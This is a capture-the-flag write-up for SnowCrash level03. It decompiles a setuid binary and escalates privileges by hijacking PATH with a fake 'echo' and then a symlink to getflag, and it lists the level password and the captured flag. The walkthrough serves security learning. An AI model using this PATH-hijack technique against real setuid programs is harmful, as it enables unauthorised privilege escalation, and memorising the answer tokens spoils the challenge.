| .. | ||
| flag | ||
| passwd | ||
| README.md | ||
Level 03
how to login
username: level03
password: kooda2puivaav1idi4f57q8iq
Goal
run getflag as user flag03
Actually doing something
As usual:
level03@SnowCrash:~$ ll
total 24
dr-x------ 1 level03 level03 120 Mar 5 2016 ./
d--x--x--x 1 root users 340 Aug 30 2015 ../
-r-x------ 1 level03 level03 220 Apr 3 2012 .bash_logout*
-r-x------ 1 level03 level03 3518 Aug 30 2015 .bashrc*
-rwsr-sr-x 1 flag03 level03 8627 Mar 5 2016 level03*
-r-x------ 1 level03 level03 675 Apr 3 2012 .profile*
We have a funny binary !
having the s permission in the executable spot means it is setuid
what is setuid ? it means that when executed, it runs as the user that own the binary
What a coincidence ! The user that own the binary is flag03
lets look at what happens when we run the binary without anything special:
level03@SnowCrash:~$ ./level03
Exploit me
Oh yes I will !
level03@SnowCrash:~$ file level03
level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x3bee584f790153856e826e38544b9e80ac184b7b, not stripped
We already knew all the useful information here, but at least we have a proof that it is an "normal" executable (ELF is what linux uses for binaries), it is indeed setuid (and setgid). No stripped means that we have a minimum of debug info (like symbol names)
What to do ? Lets bring out the big gun and start fully RE the binary. How ? Using Ghidra. Ghidra is an NSA program made to take a binary, and look at it very closely. It can try to produce C-looking code that matches the assembly, and allow you to rename variables, function and all
int main(int argc,char **argv,char **envp)
{
__gid_t __rgid;
__uid_t __ruid;
int iVar1;
gid_t gid;
uid_t uid;
__rgid = getegid();
__ruid = geteuid();
setresgid(__rgid,__rgid,__rgid);
setresuid(__ruid,__ruid,__ruid);
iVar1 = system("/usr/bin/env echo Exploit me");
return iVar1;
}
Ghidra dissembled the main function, and it looks like this. Here it is valid C code, but sometimes ghidra can't produce valid C code because the assembly is missing data, so we were lucky !
Looking at this, it seems that the program does a little UID dance (and GID too), but we kinda don't care. It doesn't seems to be exploitable in itself (but we do have to note that this actually makes the binary a privilege escalation vector!)
What is important is the system("/usr/bin/env echo Exploit me") line. This launch a new process.
Looking at the system function, it behave likes an shell command (as in it calls a shell behind the scene), so we can have fun
the /usr/bin/env is very powerfull, but what we will use is the fact that it tries to find
the command passed as an argument in the PATH
but WE own the PATH variable. Nothing prevents us from slipping a new directory in the PATH, and having an echo command in it
lets do that
level03@SnowCrash:~$ mkdir /tmp/path
level03@SnowCrash:~$ cat <<EOF >/tmp/path/echo
> #!/bin/sh
> echo "I'm in !"
> EOF
level03@SnowCrash:~$ chmod +x /tmp/path/echo
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03
I'm in !
We are indeed in
now we can do lots of stuff, and we can basically call getflag.
I want to be a bit sneaky, so lets make it call getflag directly
level03@SnowCrash:~$ mkdir /tmp/path
level03@SnowCrash:~$ ln -s $(which getflag) /tmp/path/echo
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
We just made a symlink in our naughty directory to the getflag binary, so when the "echo" got launched, it was actually getflag !